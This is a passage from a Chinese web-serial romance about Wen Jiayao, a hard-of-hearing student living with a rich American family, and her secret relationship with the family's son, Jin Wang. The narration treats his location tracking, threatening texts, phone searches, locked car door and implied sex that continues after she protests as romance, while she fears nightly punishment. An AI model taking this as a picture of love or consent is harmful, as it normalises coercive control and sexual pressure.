小臂酸痛的时候,她人已经躺在他的床上,累得没力气睁眼,睡了过去。 梦里,红谷庄园一片明丽阳光。 那年她第一次从家乡离开,日夜舟车劳顿,被靳苏派人接到这里。 给她安排的房间不错,宽敞明亮,有她从未设想过的衣帽间,用来放她那几件朴素的衣物,看起来寒酸。 不,她这个小镇女孩,出现在华尔街顶级资本门阀家里,就已经十分不伦不类。 她身上唯二的两件饰品,是老旧坏损的助听器,和外婆亲手缝制的碎花遮阳帽。 那时温嘉窈独自在新房间整理行李,刚把衣裤叠进抽屉,露台骤然传来一阵强烈动静,快要失灵的助听器都能听到。 一道影子猛地从露台下方翻上来,五指扣住栏杆边缘,手臂肌肉勃发,一个腾身就跃进她三楼的露台,矫健似一头刚成年的豹。 少年皮肤冷白,落地半蹲,在暮色与室光的交界处,露出线条凌厉的半张脸, 喘息很轻,蓝眸亮得惊人。 温嘉窈手里的梳子吓掉了。 她睁大双眸后退半步,身体撞上衣柜门,碎花帽震得向后滑落。 一头乌黑柔软的秀发倾泻而下,衬得她这张东方面庞更苍白姣妍。 少年缓缓站起来。径直踏破边界,擅自向她走来。 边走,视线边逐一划过她灰旧的行李箱,她的碎花帽,最后落在她惊慌的脸上。 身高1米9的少年走到近前,弯下腰,迫使她对视,神情是入侵者特有的警觉与漫不经心。 温嘉窈不得不仰望他。 距离太近,她看清他锋利深邃的年轻骨相,和运动后紧实晶亮的肌理。 额发被汗打湿,深色发丝垂落在眉梢,浸透野性不羁的贵族美感。 少年靳妄也在观察她。 倏尔,他视线下移,落在她领口垂出的老助听器机线,旧而干净,压着她一副玲珑隽秀的锁骨。 他歪头,新鲜地笑了, 蓝眸眨动冰透琉璃色彩,语调桀骜又好奇: “中国小猫?” …… 清晨,温嘉窈在暖阳中苏醒,是靳妄的床上没错。 但靳妄不在,他基本早上六点半左右就会起床健身。她看了看自己的双手,干净得好似昨晚什么都没发生。 又是靳妄帮她清理干净的。 回想梦境,恍惚已经三年过去,眼下大四刚开学,她毕业就要离开。 靳妄也在同校攻读硕士学位,前程繁花似锦。 很快就会回到云泥不相及的线轨。 小心谨慎推开房间门,走廊楼梯日光昼亮,不见昨夜阴沉。 确定奶糖已经不在这里之后,温嘉窈才小跑回自己房间,洗漱收拾好。 下楼时,正撞见靳妄回来。 他刚结束运动冲过澡,深色头发蓬松微乱,带着湿气,水珠顺着下颌线滑落,洇进深灰色的运动衫领口。 少年气息裹着薄荷味剃须水的凉意,与晨光一起涌入。 她顿住脚步,穿着昨晚那件长袖长裤,如一张白纸素净。 手指无意识攥紧衣摆。 两人隔着三级台阶。 靳妄抬眼看她,蓝眸扫过她干净的手指,嘴角勾动,没出声。 她不仅看见了他,也看到他的父亲——这座庄园的主人AldenEdmund。 还有靳妄的母亲靳苏,都在不远处的餐厅用餐。 她垂下眼睫,和靳妄保持距离。 “嘉窈,靳妄,过来吃早餐,你们今天还要回学校上课,不要耽误任何课业。”靳苏也看见了他们。 “来了,苏阿姨。”温嘉窈率先跑下台阶,越过靳妄快步走向餐厅。 擦肩而过时,水珠从男人发梢滴落,在她手背溅开一小片凉。 靳妄在后面步态悠缓地跟过去。 温嘉窈走向略末尾的位置,苏阿姨开口跟她讲话: “嘉窈,黄老师最近身体怎么样?” 靳苏梳一头干练的背头长发,脸上没有一丝中年人的疲态,尽是精英形象。 温嘉窈礼貌地站在椅子边应声:“昨晚给外婆打过电话,她一切都好。”说完,又谢谢苏阿姨关心。 外婆是苏阿姨高中的恩师,有了这层渊源,她才能在听力恶化、外婆四处求助无门时,幸运地被接到这里。 寄住,读大学,治疗,埃德蒙家承担一切。 这是天大的恩德。 “呲——” 一点声响打断思绪,是靳妄用脚勾出凳子,凳腿在木地板上拖出沉闷滑行音。 “坐近点,窈窈。”靳妄好声好气,淡笑等待。 他在别人面前永远是这样,看上去耐心又细致,呵护她所有。 就像昨天的晚宴,靳妄赶回来前,打了八百个电话告诉家里上下该怎样照顾她,也在第一时间替她解围。 但相应的代价,靳妄会在私下,从她身上收回。 “谢谢哥哥。”她乖顺接受。他单手为她铺好餐巾,才在她右边随性坐下。 佣人立刻端上漂亮的松饼和水波蛋,她再次道谢。 在埃德蒙家族寄住三年,她每次吃饭都会把声音放到最轻。 “注意礼仪靳妄,不要用脚拖凳子。” 过分的张扬,让靳苏把话头指向儿子,“昨晚你哥说,上周你把女孩儿带到别墅,还把人家弄得高烧,是不是真的?究竟是怎么回事!” 苏阿姨一向厌恶不三不四的事情,严厉的话语令温嘉窈不自觉轻颤。 她害怕,怕人发现那个被弄到高烧的女孩儿就是她。 叔叔和苏阿姨都是恩人,她却和恩人的儿子…… 一旁的靳妄没急着回话,狡诈蓝眸蕴着若有似无的笑意,大抵看穿她心思,在欣赏她的故作镇定。 主座上,向来话少的家主先生开口,似乎对小儿子可能存在的恶劣行迹更有宽容心,但言语威压性更强:“玩可以,尤金。” “别搞出事,影响家族名誉。” SalisburyEugeneEdmund 索尔兹伯里?尤金?埃德蒙 靳妄的名字。 平时母亲叫他靳妄,父亲称他尤金,其余人都叫前缀。 而温嘉窈……需要把所有称呼轮换着来,哭到抽气的时候,连她自己都不知道,叫了他一些什么过火的称谓。 靳苏不太赞同丈夫的说法:“奥尔登,靳妄不能学那套纨绔做派。” 她转而警告靳妄:“听着,别乱来,你妹妹还跟你一起住在别墅生活和上学,不准影响到她。” ‘妹妹’温嘉窈把头埋得更低。 “她?” 靳妄慵懒地撩起眼皮,长指掂着干净餐叉,将自己那份鸡蛋移到温嘉窈碟子里,动作自然。 又拖长腔调回复母亲,“她不就是你安排来看着我的小眼睛?” “你胡说什么。”靳苏皱眉。 她确实偶尔拜托温嘉窈帮忙,帮她看着这个不够安分的儿子。但也没指望性子柔软的小姑娘真能管得住他。 温嘉窈试图在母子争端中隐身。 这时,靳妄戏谑的声音在她耳边响起:“温嘉窈,既然你跟我住一起…” 他低沉地笑起来: “那你说说,上周和我玩到高烧的人,到底是怎么回事呢?” 4. 乖宝宝 温嘉窈顿时惊滞,手里舀起一勺鸡蛋的银匙抖晃起来,流心蛋黄溅落。 靳妄一句话,让他父母的视线都聚拢过来,停留在她身上。 实在是…太过分了。 “嘉窈,怎么回事?”靳苏对待小姑娘的态度很和缓。 见她有些难以启齿,靳苏剜了儿子一眼,又说:“是不是你看到什么,你哥威胁你不让说?告诉阿姨,不用怕他。” “那天是……是我因为淋了雨,耳朵有些不舒服导致发烧,哥哥才为我叫了家庭医生。” 真话说不出口,假话过不了心里那关,她只能真假搀半说“都是误会”。 靳苏这才点点头:“不是你哥欺负你就好。” “我怎么会欺负窈窈?”靳妄抬手,温热手掌揉揉她的发顶,温声十足良善,“疼她都来不及。” 靳苏没好气:“你就是这么疼她的,让嘉窈淋雨发烧?” “抱歉了呢,妹妹。” 靳妄应下,剔透蓝眸似有冰光游动,要笑不笑地盯着她。 手上没停,往她手边的浆果碗淋了勺蜂蜜,口吻好商好量, “以后让哥哥随时可以接到你,好么?” 她知道,他说的是平时一起上下学。 基本每天早晨,她会坐他的车去学校,但因为白天的课程各不相同,温嘉窈几乎下课后都是独自回家。 上周五突发大暴雨,靳妄发消息,下课要接她回家。 【窈窈,在教学楼别动,等我】 【自己冒雨跑出来的话,哥哥会生气】 那时温嘉窈正在下课之前,和关婧一起赶随堂作业,手机调成了静音。 书包里的手机“嗡”声震动—— 【三分钟不回,是没看手机】 【还是在跟别人说话呢】 【窈窈。】 温嘉窈毫无所觉,被教室里嘈杂的散课声牵引,和关婧一起抱怨着大雨来得突然。 手机在包里振铃一分钟后熄灭。 [对方来电未接听] 随后—— [语音4''秒] 没有人说话。 语音内只有雨刮器急促摆动的声音,隐约,藏匿一道幽深漫长的呼吸。 【你知道的,手机有定位,别让我觉得你在躲】 【躲也没关系】 【我喜欢找你】 【猜我找到你会做什么】 很不幸,温嘉窈没看到任何一条消息,出教学楼蹭了一段同学的伞,又把包顶在头上,淋着雨跑到地铁站,独自回了别墅。 结果就是泡在热水中时,浴室门被一脚踹开。 靳妄拎着她的手机大步走进来,她惊动想起身,又被男人一把摁回去,激起水花动荡。 她捂住自己,不知该不该动:“靳妄……” 下雨堵车,他比她到家晚,一回来就查手机,当她面查。 哪怕她正在泡澡。 温嘉窈抱着膝盖等待,觉得反正手机是靳妄给她买的,他花钱自然就是他的,他怎么查看都行。 靳妄敛着眼睫,一手按着她细瘦肩骨,毫无阻碍地单手解锁手机,点开她的置顶对话框,确认她是真的没看见消息。 然后在她迷茫眼神中,起身,脱了卫衣,露出男生精壮俊秀的肌理。 她还没来得及阻止,手机被随手丢落在他委地的衣物上,靳妄长腿跨进浴缸。 空间顿时拥挤起来。 “靳妄…等、等等……哥哥!” 他倾压过来,细碎的吻落在她耳垂、脖颈。 “宝宝,今天你吓到哥哥了,知道吗?” “我……”不知道。 她不知道,但她明白靳妄语气温柔的时候,往往动作会很凶戾。 靳妄挑起染雾的冰海眸,无休无止地追问: “你知道吗?” “知不知道?” “到底知不知道,宝宝?” 一下又一下。 “知道…了……”她没力气想,气息在水里摇碎。 “知道?知道还敢雨天一个人走。” “是把哥哥忘了,对么?” 冰蓝的瞳孔紧紧盯着她。 仿若一条恶毒化身的蛇,平静从容中渗透阴鸷诡异的冲击力。令她不堪一击。 温嘉窈警觉起来。 熟知他的阴晴不定,但还是不擅应对,转移话题是最笨拙和直接的手段:“靳妄,门没关……我冷。” “一会儿就不冷了,乖宝宝。” 他嘴上这么说,做的事却不是对乖宝宝该做的。 浴缸里的水越来凉,温嘉窈反而有种越来越热的错觉,直至神志不清,滑落下去。 最后感到男人退出去,手臂捞住自己,身子被裹进浴巾里。 再然后吊针打到天明,温嘉窈整整休息了一个周末才缓过精神。 …… 用过早餐后,苏阿姨起身去了门厅,给丈夫披上大衣,还不忘提醒两个晚辈:“你们也别忘了多穿点,最近降温。” 这种事靳妄会尤其地听话,从佣人手里接过针织毛衫外套,细致照顾她穿上,纽扣一粒粒扣好。 扣完最后一颗,手没放下,转而扶上她肩膀,将她调转方向。另一手拎起她的包,像小火车一样推着她往前走。 经过叔叔阿姨身旁,她一直被推进地库,上了他的印第橙色迈凯伦。 看得出靳妄今天的心情还算不错。 温嘉窈不想煞风景的,但…… “带我到这里就可以,老地方放我下来吧,靳妄。”她出声,自己都觉得不识好歹。 靳妄的车高调张扬,轰鸣声炸场惹眼,她不想在众人瞩目中从他车上下来,不想成为焦点。 因此她每次都让他停在离校门八百米开外处,下车自己慢慢走过去。 尽管这是她软磨硬泡求来的。嗯,磨和泡是具体动词。 但鉴于早餐饭桌上,靳妄刚说过“要随时接到你”,现在她又要躲避,不确定他会不会生气。 明烈的橘橙车体轰着热浪,单刀划破深秋清晨的沉冷。 靳妄将车刹停在老位置,指尖悠慢地敲击方向盘,并没有转头看她。 “晚上见。”她抓紧自己的小书包,按下车门按钮。 ……车门打不开。 她回头去看驾驶位,靳妄目视前方不为所动。 他有时候不会轻易放人,这往往就需要她主动表态。 想了想,温嘉窈猜测性地倾身过去,仰起脸递上唇瓣。 靳妄在被她触碰到之前,微微偏头避开,令她的唇堪堪擦过他耳垂。 “少来这套,温嘉窈。”他果然在不爽,不过似乎又因为她的主动,神色稍霁, “今天复查,下午别乱跑。” 车门上升,温嘉窈终于能和他分开。 花了点时间哄靳妄,走到教室时正好快要上课。 “嘉窈,这里这里!”关婧在中排留了座位,朝她猛招手,温嘉窈匆忙挤过去。 刚坐下,关婧就拎出个小号保温袋推过来,啧啧感叹说:“你人还没到教室,你哥就又让人送东西来了,经过我的偷看,里面是牛奶、莓果盒子还有黄油曲奇。” 温嘉窈坐下打开看了一眼,里面的点心都是双份,看来是连帮忙收东西的关婧那份也考虑到了。 不得不承认,靳妄在日常生活中,不失为一位教养优良体贴的贵公子。 “能让靳妄这种Pyboy丝滑转变成Daddy,也就你温嘉窈了。”关婧拆开她递来的饼干,边吃边夸张。 温嘉窈翻开书摇头:“你的英语很正宗,就是不太正经。” 教授踩点进入教室,一来就风风火火开始讲晦涩的专业知识。 “这节又是老头的国际商务英语,嘴皮子跟打快板似的,知道的是在学翻译,不知道的还以为我们在学相声呢。” 老教授在台上大讲,关婧在台下小讲。 温嘉窈抬手摁了摁贝母白色的助听器,正聚精会神。 掌握新语言对普通人而言,已经十分具有挑战性,她从小算是半个聋哑人,需要成倍努力。 虽然已经大四,虽然靳妄给她开了无数小灶,她也不敢懈怠。 她永远不会妄想依附于别人。 “诶,嘉窈,下半年毕业后,你有什么打算?”关婧突然问。 注意力中断了下,温嘉窈捏紧笔杆:“还没想好。” 做什么工作没想好,总归是要回外婆身边,努力赚钱,回报埃德蒙家资助的一切。 “我爸想让我回去读国际关系研究生,努力够上大使馆的工作。”关婧说。 温嘉窈想说到时候可以一起回国,话到嘴边,又沉寂下来。 她不想让靳妄有任何提前知道的可能。 本就不是一个世界的人,各自分开是理所当然。她猜测,靳妄那样的人,如果提早知道,就会在分开前用尽一切手段娱乐尽兴。 她害怕自己经受不住。 “不过我们这个专业吃实践经验。”关婧掏出一张工作邀请函摆她面前, “我找了个交流会口译志愿者工作,长期的,虽然没钱,但能锻炼一下,在第五大道半岛酒店,你要不要跟我一起去?” “嗯……”温嘉窈若有所思,看着邀请函许久,“还是算了,我哥不喜欢我乱跑。” “靳妄干脆把你揣兜里带着吧!”关婧没控制住惊叹,引来小范围的注目,她捂嘴低头,终于安分下来听课。 不过她只是把想法憋了一天,下午最后一节课结束,关婧到底还是忍不住问温嘉窈: “窈窈,你说……你就真没想过跟靳妄发展发展?反正又不是亲兄妹,只是叫的亲。” 温嘉窈在自动贩售机前买了瓶矿泉水,假装没有听到。 “他可是华尔街埃德蒙家族的太子爷诶,能和他结婚的话,你就不用整天干那些廉价的校园兼职了。” 结婚?温嘉窈从没想过。 她从没对富人少爷抱有任何不切实际的幻想,即便那人是靳妄。 温嘉窈低头走着:“靳妄以后和谁结婚,跟我没关系啦。” 穿行在秋阳下的学生逐渐增多,越往前方的篮球场,人流越是密集。 “谁不知道靳妄对你好得没边?说不定你一勾他,你们就可以直接捅破那层关系了……” 温嘉窈脚步一顿。 靳妄的确早就捅破她了。 所以她和靳妄,只能是一种难登台面的隐秘关系。 “哇!正说呢!你看那是谁?”关婧忽然拽住她向篮球场外围凑过去。 往里挤的时候,温嘉窈还什么都看不到,就先听见尖叫欢呼声,从球场南侧看台层层传来,多米诺骨牌一样哗然作响。 似乎听到熟悉的英文名字,她踮起脚,越过攒动人头,看见球场中央的靳妄。 他刚完成一个断抢,掠着球擦过地面,闪瞬奔袭,四下突围。 深色发丝被汗浸湿,几缕黏在额角,为其混血轮廓上增添恣肆放纵的笔画。 “我的天… Salisbury刚才变向的爆发力,膝盖是铁打的吗?”旁边一个金发女生捂着胸口。 “篮球还只是他不经常玩的运动,常玩的橄榄球和击剑,他都是校队主力,” 另一个扎丸子头的亚裔女生眼睛发亮,如数家珍, “而且他商学院GPA4.0,还兼修心理学,听说上个月刚发了篇SCI,简直就是天才的天花板!” “你看你看!他的腰腹核心……”白人女生故意没说完,和她同伴交换了一个心照不宣的眼神。 “腿也好夸张,又长又劲实,这力量感……”另一个声音压低了,却还是飘进温嘉窈耳朵, “刚才跳起来封盖那下,我看见他腹肌上的青筋了!一直往下蔓延进裤边……你说他床上得什么样啊?” “和他do会不会直接被撞晕过去?”几个女生笑成一团。 温嘉窈握紧手里的矿泉水瓶,下意识心说: 会。 靳妄传球后,场上局势忽然紧张起来。 对方控卫趁靳妄协防侧翼,包抄夹击过来,带球的黑人差点脱手—— 千钧一发,靳妄闪身回防到位,出手精准将球截回,旋即快攻至三分线外,急停、起跳。 整个球场陷入停顿凝滞的那一秒。 球在空中划出一道完美高飘弧线,空心入网,篮网发出利落的“唰”,仅此一声。 看台转眼炸起海啸般的欢呼浪潮。 “OHHHH……!!Salisbury!!!” 气氛被推向制高点,尖叫呼喊将人淹没,有人洒了饮料顾不上,活泛的男生爬上围网呐喊。 温嘉窈被震得耳朵发疼,助听器将一切声音放大,数百种声音混在一起,如生锈的电锯在她的鼓膜里突突发动。 她下意识去摸音量键。 靳妄退防时漫不经心地偏过头,视线穿过层叠拥挤的人群,越过所有挥舞的手臂和手机镜头,准确无误地盯上她。 看见她了。 也看见她手里那瓶没开过的矿泉水。 靳妄回头投身球局,眼尾轻挑,薄唇勾扬起微不可察的弧度,松散又微妙。 下半场攻势更狠,完全摒弃了团队,独自进攻突破每一球,凶悍强势得不讲道理。 对面被他一个人打得节节败退,叫了暂停都止不住溃势。 温嘉窈调小了接收音量。世界静下来,尖叫声变成遥远的水声,她看见一切仍在沸腾,只有她像滴掉进滚油里的冷水,蒸发都不被发觉。 她挪动脚步,试图离开这个不属于她的地方。 可太挤了,关婧还兴奋将她往前拉,恰好旁边谁挥舞的胳膊肘结结实实推了一把,温嘉窈踉跄两步,直接被挤到最前排的围网门边,只能扶住金属大门框架站稳。 靳妄余光扫到她被推到前排,动作顿了半瞬。 随即快攻暴扣,顶着三个人上篮,滞空中把球换到左手,砰然挑篮命中。 落地时瞥了她一眼。 她只顾低下头,把音量又调小了一格。 “喂。” “喂?” “说你呢,你。” 直到身边有人拍了拍她的肩,温嘉窈才发现自己把音量调得太小了。 她赶忙调回一些,转头过去回应:“啊……我?” 不是关婧,是另一边一个陌生女孩子,正用目光打量她。 “请问什么事?”温嘉窈不明。 女生在声浪里凑近她大声说:“我知道你,靳妄那个耳朵不好的妹妹。” 略带冒犯的直白,不过温嘉窈早就习惯了,再次问她有什么事。 “我啊…”女生晃晃手里的花束,扬眉坦诚, “我马上要跟你哥表白,但不知道他喜欢什么样的女生,你能告诉我,怎么表白成功率高吗?” 一下把温嘉窈问住了。 当下场景,她有点想不起别的,只记得靳妄热衷于叫她来各种运动场合,要她来给他送水。 昨晚雨夜宴会他生气,也是因为她没给他送水。 “他……应该是喜欢有人给他送水。”温嘉窈经过认真分析,得出结论。 球赛已经结束,场上震耳欲聋的喧闹还在持续,靳妄走到场边拿起毛巾,动作慢得略有等待的意味。 余光划过被陌生人纠缠住的温嘉窈,又划过她手上的水,眉头微蹙,眸底闪过不耐烦。 片刻,靳妄干脆拎着毛巾站在原地。 秋日午后难得阳光熙盛,灼亮倾泻在他肩背。 他是骄阳亲手塑出的少年神祇,以金光为笔,精心描摹他每一寸深隽凌厉的骨相。 一切倾慕的欢呼与目光,与他而言,不过掠而耳边的凉风。 他站在场上,神情松散从容,通透蓝瞳在强光下半眯着,穿透整片沸腾喧闹的人海,径直落到她身上。 只是温嘉窈未曾留意。 围网外,温嘉窈看见女生没有带水来,好心将自己手中的水送给了她:“你去的话,拿上这个吧。” “就……这样,真能行?”女生半信半疑看着水。 温嘉窈也不敢保证:“他刚运动完,需要补水,应该不会拒绝……” “行。”女生应了,大方推开球场的门往里走,冲着靳妄就去了。 围网内,靳妄眼瞧着温嘉窈三言两语后,突然把水给了别人。 男人眸光猛然冷下来,眉峰压低,阴郁的目光越过快步朝他走来的女生,直射在温嘉窈脸上。 嘴角缓缓勾弄起疏冷的微笑,郁结讥诮。 5.复查日 天光清朗,秋日骄阳高悬,风也静止。 靳妄嘴角弧度微僵,转瞬冷下眸,眼色郁沉。 他稍稍昂首,淡漠敛睫,目光穿透光影牢牢钉在她身上。 冰冷视线骤然刺来,即便隔着段距离,温嘉窈依旧能感受到。 靳妄…好像在生气?怎么回事…… 温嘉窈不自觉捏紧手,指尖泛白,赠与别人的水瓶遗留凉感,掌心很快变得湿濡。 她别开目光,望向走到靳妄身旁的女生。 那也是个亚洲女孩子。 一身亮橘色皮裙,细腰长腿,妆容精致秾艳,像女团里的爱豆。 女孩丝毫不扭捏,将手中的矿泉水递到靳妄面前,大方表露自己的倾慕:“学长,我叫佳茵,艺术系的,一直以来欣赏你打球很久了,你在场上真的很耀眼,我们可以——” “谢谢。” 靳妄在这时开口,出声打断她。 他慢悠悠侧眸,瞟了眼她手里的水:“你的鼓励和褒奖,我收到了。” “学长我……”女生还想在说什么。 “不过,荣耀属于团队。”靳妄完全没给机会,漂亮的场面话划清界限, “也许其他成员更需要你的慰问。” 陡然,从侧旁意外弹来一颗失控的篮球,险些照着女生侧脸砸下来。 靳妄抬手反腕一扣,从容控力将篮球截停,手臂力量爆发,后抛动作利落干脆,安稳可靠,却又将散漫难驯的劲儿浸透骨子里。 场上围观聚拢的女生尖叫几乎掀翻球场。 叫佳茵的女生下意识扭头,望见不远处,一个黑皮男生恰好接住了靳妄的球。 “哟,那个黑皮就是刚才连续丢球的吧。”身旁响起关婧的调侃。 温嘉窈收回目光,望着她笑:“是吧。你看球好像很认真?” “那当然啦。”关婧得意得直哼哼。 又转了话头,“倒是没想到,靳妄这么鲜明的人,居然情商也很高。” “嗯?”温嘉窈刚才没注意听。 她有点分心。 因为感觉到靳妄刚才的眼神很可怕,她想他生气了,尽管她不明白原因。 但她知道,如果不弄清原因,就没办法哄好他。 哄不好的话,今晚可怕的就不止是他的眼神了。 “你没听明白嘛?靳妄把那女生的倾慕故意说成是单纯赞赏。”说着,关婧连连啧声, “不让人家说出后面告白的话,就等于婉拒。在场所有人都知道这女的没戏,偏偏呢,又不会折她面子。” 温嘉窈若有所思,忽然,关婧拉住她的胳膊,小声提醒:“快看,靳妄好像朝这边走过来了。” 温嘉窈顺着她的话抬头,一下子撞上靳妄瞥来的目光。 他压着眉,正朝球场外走来,平静寒凉的蓝眸睨着她。 隐约间,一丝讥诮从他锋利眉尖闪逝。 温嘉窈愣了下,她以为靳妄会朝自己这边过来,结果男人转而从球场另一边离开了,连个照面也没跟她打。 完了…他真的生气了。 温嘉窈赶紧想了个理由跟关婧道别,拔腿就追了上去。 虽然已经决定毕业就回国,到时候她跟靳妄大概这辈子不会再有任何交集。 可毕竟现在,还要跟靳妄同吃同住的,她不能惹怒他。 一定要哄好他。 她不想今晚回去受罚。 一想到靳妄那些折腾她的手段…… 温嘉窈赶紧晃晃脑袋,甩飞那些不堪入目的画面,更加加快脚步,闷着脑袋一心追赶前面男人的脚步。 她只顾着低头走,全然没注意看路,蓦然闯入一片阴影里,险些撞上坚硬紧实的胸肌。温嘉窈急速刹停脚步抬头。 面前,男人半垂着眼皮,神情无波,腔调却恹恹的:“你要跟到什么时候?” 温嘉窈微怔,扫了眼周围才意识到,自己已经跟着他来到体育馆,要不是靳妄停下,她差点要追着他进男生淋浴间了。 不过这种时候,她没心情想别的。 她最在意的是靳妄。 温嘉窈认真凝视着他,试图想要从他神色中辨别出情绪。 可男人看起来十分平静,脸上没有任何不悦,眼尾眉梢勾着点倦懒,斥足桀骜。 温嘉窈动了动嘴唇,刚想问他是不是生气了。 不料靳妄压根没打算聊天,没等她开口,转身直接进了淋浴间。 “……”这不就是在生气。 温嘉窈不敢离开,就这样在淋浴室外等着。 这里是男生淋浴室门外。平时那些酷爱运动的男大,一般下午没课的时候都会在学校游泳、打球,或者其他体育竞技项目,之后来这边洗浴冲凉。 而温嘉窈出现在这里,简直格格不入。 她本就漂亮,气质也出挑,薄款高领小针织衫束进棕格复古长裙。 细腰瘦肩,一头乌发柔顺蓬松垂搭下来,皮肤雪嫩,樱红唇。 细弯柳叶眉下,双眸晶然黑亮,标准的鹅蛋脸东方美人清冷长相。 周围从她身边刻意经过的男生越来越多,旺盛炽热的青春荷尔蒙和汗味之间,越发凸显她身影单薄。 像是陷入狼群的异族少女。 只是她此刻无心顾及这些,蛾翅般密长的睫毛,伴随眼底思考而隐微颤动。 她还是在回想,靳妄到底是为什么不高兴的? 难道说…… 因为刚才没喝到水吗? 但不是他自己拒绝送水那女孩儿的吗? 温嘉窈安静地想了一会儿,最后确定还是因为没喝到水的问题。 毕竟外人都觉得靳妄开朗风趣,恣纵又不乏安全感,散漫且不会随便冷脸发脾气,看上去对谁都一副悠悠然、好说话的样子。 可事实上,只有跟在他身边的温嘉窈心里清楚,私下里的靳妄是怎样的喜怒无常,阴晴不定。 所以温嘉窈觉得,他前一秒拒绝人家女生送水,后一秒又因为没喝到水而生气这种事,完全就是靳妄情绪莫测的做派。 想到这里,女孩纠结苦恼的眼神终于落定。 她有办法了。 温嘉窈转身快步走去,去给靳妄找水喝。 想着他刚刚运动完又洗过澡,应该不想喝冷水,她还特意从自动水吧拿过纸杯,手脚利落地接了杯微微烫温的水。 然后她手里端着那杯水,小心又尽量放快脚步,走向男士淋浴间,想到门口等他。 可她只顾着低头,盯紧杯里的水别洒出来,就在快要拐过弯之际,迎面突然走来一个高大的金发男生。 温嘉窈不小心撞了上去。 “对不起……”温嘉窈赶紧道歉,结果发现手里的水也洒了人家一身。 她略显手足无措,再次用英文道歉。 “It'sokay.”金发男生友好地笑着摆摆手,显然没放心上。 只是衣服被弄湿了让他有点困扰,好在是刚洗完澡,金发男生只穿了一件短袖,于是他大方脱了下来,露出不错的身材。 温嘉窈这会儿心里都是过意不去,忽然想到自己包里有纸,她赶紧低头取出纸巾递给他。 手忙脚乱中,自己也扯出两张,边道歉边帮他擦拭腰腹处的水迹。 蓦地,仿佛离弦之箭,温嘉窈感觉到一道强烈的凝视感,如锋芒射中她脊背。 她立刻转头回望—— 只见靳妄果真就站在她身后,松散斜靠着墙,双手环胸,好整以暇地目睹着她在为别的男生擦身体。 而那个男生,甚至,还是裸着上半身的。 温嘉窈吓得登时手上一个打颤,身体狠狠瑟抖了下。 而靳妄却站在原地没动。玩味的视线越过她,睨了眼她身旁裸着半身的男大学生,又重新凝回来,落在她停留在对方腰腹上的手指。 片刻,靳妄缓缓勾弯唇,似乎是有点气笑了。 可他嘴角的笑意在温嘉窈眼里,只剩下诡异可怖,令她恐惧不已。 盘旋在心底那股不祥的预感,更强烈了。 她好像…真的要完蛋了。 更惊悚的是,当温嘉窈以为他下一秒要彻底动怒发疯的时候,偏偏靳妄什么反应都没有。 他依旧情绪淡敛,好像没什么起伏,转身又走了出去。 “靳妄!”温嘉窈忍不住出声喊他。 靳妄头也不回。 温嘉窈连忙跟金发男生再次道歉后,匆匆迈开步子,小跑着跟在后面。 一路跟着靳妄穿过人群,来到露天停车场。 靳妄始终没说话,迈凯伦车门自动缓升,他坐上车,温嘉窈还站在他车边。 知道靳妄不会带她了,她识趣地退开两步。 就像平时靳妄送她来学校,温嘉窈从不会坐他的车一起进校门,每次都是在距离学校还有八百米的时候,让靳妄停车。 每回她下车后,靳妄都是一脚油门轰下去,直接飙走。 那么她想,他这次也不会理她了。 “愣什么。”靳妄坐在车内倏然开口。 他长指拨下一点墨镜,露出那双透明质感的蓝眸,笑容微妙, “今天不是去复查的日子么?” “上车。” / 自从温嘉窈的听觉状态相对稳定后,她的复查频率便更改为每周一次。 所以每周四下午,靳妄会准时带温嘉窈去医院。 无论他有任何事,复查的日子雷打不动。 温嘉窈就诊的医院位于曼哈顿——【圣维奥拉私立医疗中心】。 圣维奥拉是极负盛名的高端私立医院,长期服务于上流阶层与国际名流。 预约门槛高,专家教授云集,多学科医疗团队联合会诊,在全美闻名遐迩。 电梯直达58层【耳科与神经听觉中心】。 温嘉窈跟了靳妄一路,沿途不见喧嚷拥挤的人群和候诊长龙队,只有训练有素的医护礼貌相迎,全程低声引导。 毕竟能在这里成为核心VIP诊疗对象,都是有长期档案的病人。 所有的神经治疗、听力评估、设备调试、耳科影响和语言康复,全部都有固定的专家组跟进。 VIP独立诊室内。 文森特教授一直以来都是温嘉窈的主治医生。 此刻他正翻着病例,温声问:“这周佩戴助听器设备期间,有没有明显不适?” 医生的问题温嘉窈听得很清楚,但她还是下意识歪头,看向坐在自己身旁的靳妄。 靳妄撩眸瞥她一眼,眉梢轻挑,开口:“右耳戴到下午会有点胀,摘下来缓半小时能缓解。” “左耳呢?”医生问。 “还行。” “最近还有耳鸣吗?” “上周六早上起床有一次,很短。”回答的人还是靳妄,“不到半分钟。” “最近睡眠质量怎么样?” 靳妄语气平静,“挺好,累的时候睡得更沉点。” 温嘉窈:“……” 她累的时候,大多都是拜他所赐,她想。 靳妄低眼瞟过女孩微微染粉的耳尖,偶然被取悦到一般,眼尾挑起几分谑笑。 他敛回视线,将手中方案书摆到教授面前,“高频增益这次不能往上加。” 文森特低头看向方案书,上面被靳妄提前圈划过重点,几处参数旁落了字迹狷狂的简注。 “回去后有哪里不舒服吗?”文森特对此见怪不怪。 “上次调了0.5,她当晚就嫌入耳的声音发尖。”靳妄对答如流。 “好。”文森特点头说,“我安排人先调回来,等治疗完这个疗程,再尝试逐步上调。” 靳妄不置可否。 “今天做完检查项目,结果理想的话可以考虑把复查频率改成两周一次。” 说到这里,文森特看向靳妄,询问他的意见, “你觉得呢,靳先生。” “先不改。”靳妄沉吟片刻,“她下个月课程压力大,再稳两周。” “没问题。”文森特合上方案书。 笑看着对面始终安静的温嘉窈,温和打趣,“像你哥哥这样的家属不多见,不仅把你的情况记得详细,连我的工作也能一并安排。” 的确,靳妄对她的病情……不,是靳妄对她的任何事,都了如指掌。 因为从小耳力受损,温嘉窈能把国内课业学到优秀已经很难得。 刚来美国,她语言不通,说话口齿也不利索。 第一次来医院时,见到教授和VIP诊室里围聚的各位医学博士更是紧张得不行,医生问什么她都答不上来,全部由靳妄代答。 后来温嘉窈的英语,是靳妄手把手一点点教的。 她学的第一个单词是靳妄的英文名字。 “Salisbury.” 靳妄站在她面前,微微欠身,语速放得很慢。 他刻意把每个音节都咬得清晰,方便她去观察他的唇形。 他的一双唇生得极好,色泽淡红。上唇更薄,唇峰线条流畅而清晰,天然带着点冷淡的锋利。下唇偏饱满,浸足欲感。 唇角稍勾起弯弧便显得有点坏,颇具浮痞轻佻的散漫。 温嘉窈盯着他,听到了他的发音,也看清了他的唇形,却始终不敢开口。 “大胆一点。”靳妄给出一点鼓励。 温嘉窈呼吸微促,好半天,含混不清地尝试发音:“Sali……” 她嘴唇开合极小,才吐出半个音节,就想低头退却。 